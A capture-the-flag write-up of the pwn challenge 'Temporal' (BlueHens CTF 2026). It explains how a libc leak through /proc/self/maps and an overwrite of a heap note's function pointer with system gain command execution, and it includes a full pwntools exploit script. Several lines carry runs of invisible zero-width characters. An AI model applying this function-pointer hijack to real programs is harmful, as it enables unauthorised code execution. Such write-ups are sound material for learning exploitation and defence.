← Back to Writeups
CUSTOMEasypwn

Temporal

XESXOR9/2/20262 min read
#pwn#custom#easy#function_pointer_hijack#proc_maps_libc_leak#system_command_execution

Temporal

Platform: bluehensctf | Category: pwn | Type: Challenge | Difficulty: Easy | OS: NA | Author: XESXOR | Date: 2026-04-22 | Status: Solved Techniques: function_pointer_hijack, proc_maps_libc_leak, system_command_execution

Summary

Task: a note manager stores a callable function pointer inside each heap note object and exposes hidden menu actions. Solution: leak libc through a negative-index /proc/self/maps read, overwrite the note function pointer with system, and dispatch the note to execute a flag-reading command.

Temporal — BlueHens CTF 2026

Description

Pwn challenge "Temporal" from BlueHens CTF 2026.

We are given a note manager binary. The goal is to get code execution and print the flag.

Analysis

Each note is a 0x210-byte structure:

c
struct note {
    char data[0x200];
    void (*fn)(struct note *);   // +0x200
    int id;                      // +0x208
    int alive;                   // +0x20c
};

Two hidden menu options make exploitation straightforward:

  1. Option 5 reads /proc/self/maps and accepts a negative note id, which gives a libc base leak.
  2. Option 8 calls raw_write_note(note_id) and performs read(0, notes[note_id], 0x210), allowing a full overwrite of the note object, including its function pointer. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The normal dispatch path calls dispatch_note(note_id), which invokes the stored function pointer with the note pointer as its first argument. That means if we place a command string in data and replace the function pointer with system, the program will effectively execute system(note->data).

Solution

Exploit steps:

  1. Use hidden option 5 with note id -1 to print /proc/self/maps and parse the libc base.
  2. Create any valid note.
  3. Use hidden option 8 to overwrite the whole note object.
  4. Put the flag-reading shell command into data.
  5. Write libc.symbols["system"] at offset 0x200.
  6. Trigger option 3 so dispatch_note() calls system(note->data). ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍
python
#!/usr/bin/env python3
from pwn import *
import re

exe = context.binary = ELF("./temporal_patched", checksec=False)
libc = ELF("./libc.so.6", checksec=False)

HOST = args.HOST or "localhost"
PORT = int(args.PORT or 31337)

cmd = b"cat /flag 2>/dev/null || cat flag 2>/dev/null || cat flag.txt 2>/dev/null || cat /app/flag 2>/dev/null || cat /home/*/flag* 2>/dev/null"


def start():
    if args.REMOTE:
        return remote(HOST, PORT)
    return process(exe.path)


def choice(io, n):
    io.sendlineafter(b"> ", str(n).encode())
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍


def create(io, idx=0, data=b"A"):
    choice(io, 1)
    io.sendlineafter(b"note id: ", str(idx).encode())
    io.sendafter(b"data: ", data)


def leak_libc(io):
    choice(io, 5)
    io.sendlineafter(b"note id: ", b"-1")
    data = io.recvuntil(b"\n\n", drop=False).decode(errors="ignore")
    m = re.search(r"([0-9a-f]+)-[0-9a-f]+\s+r..p\s+[0-9a-f]+\s+.*libc", data)
    if not m:
        m = re.search(r"([0-9a-f]+)-[0-9a-f]+.*?/libc", data)
    assert m, "failed to find libc base"
    return int(m.group(1), 16)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍


def raw_write(io, idx, payload):
    assert len(payload) == 0x210
    choice(io, 8)
    io.sendlineafter(b"note id: ", str(idx).encode())
    io.send(payload)


def dispatch(io, idx):
    choice(io, 3)
    io.sendlineafter(b"note id: ", str(idx).encode())


io = start()

libc.address = leak_libc(io)
log.info(f"libc base = {hex(libc.address)}")

create(io, 0, b"AAAA")

payload = flat(
    cmd.ljust(0x200, b"\x00"),
    libc.sym.system,
    0,
    1,
)

raw_write(io, 0, payload)
dispatch(io, 0)
io.interactive()

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍